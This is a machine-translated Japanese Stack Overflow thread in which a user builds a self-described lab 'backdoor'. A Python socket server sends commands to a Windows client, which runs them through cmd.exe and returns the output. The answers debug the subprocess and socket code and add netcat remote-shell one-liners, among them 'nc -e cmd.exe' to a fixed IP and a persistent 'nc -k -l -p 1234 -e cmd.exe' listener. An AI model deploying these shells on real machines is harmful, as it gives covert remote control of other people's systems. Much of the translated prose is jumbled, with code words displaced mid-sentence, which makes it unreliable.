0

私はソケットと通信する2つのPythonファイルを持っています。stdin.writeに取得したデータを渡すと、エラー22の無効な引数が発生します。コード

a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
data = s.recv(1024) # s is the socket i created
proc.stdin.write(data) ##### ERROR in this line
output = proc.stdout.readline()
print output.rstrip()
remainder = proc.communicate()[0]
print remainder

更新 OK基本的に、ネットワークラボ内のローカルホストで、システムにバックドアのようなものを作成したいと思います。これは教育目的です。私は2台のマシンを持っています。1)ubuntuを実行していて、サーバーにこのコードがあります:

import socket,sys
s=socket.socket()
host = "192.168.2.7" #the servers ip
port = 1234
s.bind((host, port))
s.listen(1)                 #wait for client connection.

c, addr = s.accept()     # Establish connection with client.
print 'Got connection from', addr
c.send('Thank you for connecting')

while True:
    command_from_user = raw_input("Give your command: ")  #read command from the user
    if command_from_user == 'quit': break
    c.send(command_from_user)  #sending the command to client
c.close()                # Close the connection

クライアント用に次のコードを用意します。

import socket 
import sys
import subprocess, os
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print 'Socket created'

host = "192.168.2.7" #ip of the server machine
port = 1234
s.connect((host,port)) #open a TCP connection to hostname on the port
print s.recv(1024) 

a="C:\python27\Tools"

proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)


while True:
    data = s.recv(1024)
    if (data == "") or (data=="quit"): 
        break
    proc.stdin.write('%s\n' % data)
    proc.stdin.flush()
    remainder = proc.communicate()[0]
    print remainder

    stdoutput=proc.stdout.read() + proc.stderr.read()

s.close #closing the socket

エラーはクライアントファイルにあります

トレースバック(最後の最後の呼び出し):ファイル "ex1client2.py"、50行目、proc.stdin.write('%s \ n'%data)ValueError:閉じたファイルでのI/O操作

基本的に、サーバーからクライアントへのシリアルコマンドを実行し、サーバーに出力を戻したいと思います。最初のコマンドが実行され、2番目のコマンドがこのエラーメッセージを受け取ります。この解決策に私を導いた主な問題は、ディレクトリコマンドを変更することです。CDの「パス」を実行しても変更されません。

4

2 に答える 2

4

新しいコードには別の問題があります。そのため、同様の異なるエラーが発生します。重要な部分を見てみましょう:

while True:
    data = s.recv(1024)
    if (data == "") or (data=="quit"): 
        break
    proc.stdin.write('%s\n' % data)
    proc.stdin.flush()
    remainder = proc.communicate()[0]
    print remainder
    stdoutput=proc.stdout.read() + proc.stderr.read()

問題は、このリストを通過するたびに、を呼び出していることですproc.communicate()ドキュメントで説明されているように、これは次のようになります。

stdinにデータを送信します。ファイルの終わりに達するまで、stdoutおよびstderrからデータを読み取ります。プロセスが終了するのを待ちます。

したがって、この呼び出しの後、子プロセスは終了し、パイプはすべて閉じられます。しかし、次にループを通過するときは、とにかくその入力パイプに書き込もうとします。そのパイプが閉じられているので、あなたValueError: I/O operation on closed fileはそれを意味します。

各コマンドを別々cmd.exeのシェルインスタンスで実行する場合は、proc = subprocess.Popen('cmd.exe', …)ビットをループに移動する必要があります。

一方、同じシェルにコマンドを1つずつ送信する場合は、communicate;を呼び出すことはできません。書き込みstdin、読み取り、stdout完了stderrがわかるまで読み取り、ループを通じて次回のためにすべてを開いたままにしておく必要があります。

最初のコマンドの欠点は非常に明白です。cd \Users\me\Documents最初のコマンドで、次にdir2番目のコマンドでを実行し、それらが完全に異なるシェルで実行されている場合、C:\python27\Toolsではなくのディレクトリリストを取得することになりC:\Users\me\Documentsます。

しかし、2番目の欠点も非常に明白です。各コマンドがいつ実行されるかを何らかの方法で認識している(おそらくプロンプトが再度表示されるためか)か、、、を同時にブロックできるコードを作成する必要がproc.stdoutありproc.stderrますs。 。select(そして、誤ってパイプをデッドロックすることなく。)そして、パイプはソケットではないので、それらすべてをに投げ込むことさえできません。したがって、唯一の実際のオプションは、のリーダースレッドstdoutと別のスレッドを作成するstderrか、非同期サブプロセスライブラリの1つをPyPIから取得するか、twisted非同期サブプロセスパイプを実行する独自の方法を持つ別のフレームワークを使用することです。

ソースを見るとcommunicate、スレッドがどのように機能するかがわかります。


一方、補足として、コードには別の非常に深刻な問題があります。s.recv(1024)それぞれが1つのコマンドを返すことを期待しています。これは、TCPソケットの動作方法ではありません。最初の2-1/2コマンドを1つrecvで取得し、次にコマンドの1/4を次のコマンドで取得します。

ローカルホスト、またはホームLANでさえ、いくつかの小さなメッセージを送信するだけの場合、99%の時間で機能しますが、それでもその1%に対処する必要があります。そうしないと、コードが不思議なことに壊れることがあります。そして、インターネット、そして多くの実際のLANでさえ、それは10%の時間しか機能しません。

したがって、何らかの方法でメッセージを区切るある種のプロトコルを実装する必要があります。

幸いなことに、単純なケースの場合、Pythonはこれに対する非常に簡単な解決策を提供しますmakefile。コマンドが改行で区切られ、完全なコマンドが得られるまで同期的にブロックできる場合、これは簡単です。これの代わりに:

while True:
    data = s.recv(1024)

…これを行うだけです:

f = s.makefile()
while True:
    data = f.readline()

close両方fs後で(またはs直後makefileと後で)覚えておく必要がありますf。より慣用的な使用法は次のとおりです。

with s.makefile() as f:
    s.close()
    for data in f:

最後に一つだけ:

OK基本的に、ネットワークラボ内のローカルホストで、システムにバックドアのようなものを作成したい

「localhost」は、実行しているマシンと同じマシンを意味するため、「ネットワークラボ内のローカルホスト」は意味がありません。ここでは「ホスト」を意味していると思いますが、その場合はすべてが理にかなっています。


Pythonを使用する必要がない場合は、netcatを使用してワンライナーでこのすべてを行うことができます。構文がわずかに異なるいくつかの異なるバージョンがあります。UbuntuにはGNUnetcatが組み込まれていると思います。apt-get netcatそうでない場合は、またはでインストールできる可能性がありますapt-get nc。Windowsには何も付属していませんが、ほとんどすべてのバリエーションのポートを入手できます。

「netcatリモートシェル」をグーグルで検索すると、たくさんのブログ投稿、フォーラムメッセージ、さらにはNetcatを使用してリモートシェルを生成するなど、これを行う方法を示すビデオが表示されますが、netcatチュートリアルをグーグルで検索する方がよいでしょう。代わりは。

より一般的な設計は、「バックドア」マシン(Windowsボックス)がポートでリッスンし、他のマシン(Ubuntu)がそれに接続することです。これは、ほとんどのブログ投稿などです。表示されます。この方向の利点は、「バックヤードサーバー」が永久にリッスンすることです。つまり、Windowsボックスに戻って新しい接続を開始しなくても、接続、操作、終了、後で再接続などを行うことができます。

しかし、逆に、Windowsボックスに裏庭のクライアントがある場合も同様に簡単です。Ubuntuボックスで、端末を最初の接続に接続するだけのサーバーを起動します。

nc -l -p 1234

次に、Windowsボックスで、そのサーバーに接続し、に接続しますcmd.exe。GNU構文のバリアントをインストールしたと仮定します。

nc -e cmd.exe 192.168.2.7 1234

それでおしまい。Pythonで書くよりもずっと簡単です。

より一般的な設計の場合、Windowsのバックドアサーバーは次のように実行します。

nc -k -l -p 1234 -e cmd.exe

次に、Ubuntuから次のコマンドで接続します。

nc windows.machine.address 1234

-tまたは、バックドアサーバーに追加して、のtelnet代わりにに接続することもできますnc

于 2013-03-27T21:24:34.560 に答える
1

問題は、実際にはサブプロセスをまったく開いていないため、パイプが閉じられているため、存在しないものに書き込もうとしていることです。(POSIXは、ここで取得できることを保証しますEPIPEが、Windowsでは、subprocessそもそもPOSIXパイプを使用していないため、取得する内容が正確に保証されるわけではありません。しかし、あなたは間違いなくエラーが発生します。)

'\n'そして、発生する理由は、(バックスラッシュやnではなく、改行のように)という名前のプログラムを開こうとしているためです。それはWindowsでも合法だとは思いません。そして、たとえそうだとしても、'\n.exe'パス上になどの名前の実行可能ファイルがあるかどうかは非常に疑わしいです。

これは、を使用していないかどうかを確認するのがはるかに簡単ですshell=True。その場合、Popenそれ自体が例外(an ENOENT)を発生させ、次のようになります。

OSError: [Errno 2] No such file or directory: '
'

…これははるかに理解しやすいでしょう。

一般に、shell=Trueシェル機能が本当に必要な場合を除いて、使用しないでください。また、シェル機能が必要であり、パイプを手動で読み書きする必要があることは非常にまれです。

dataまた、2つの完全に異なるもの(実行するプログラムの名前と、ソケットからパイプに渡すデータ)を意味するように再利用しなかった場合も、混乱は少なくなります。

于 2013-03-27T01:06:06.520 に答える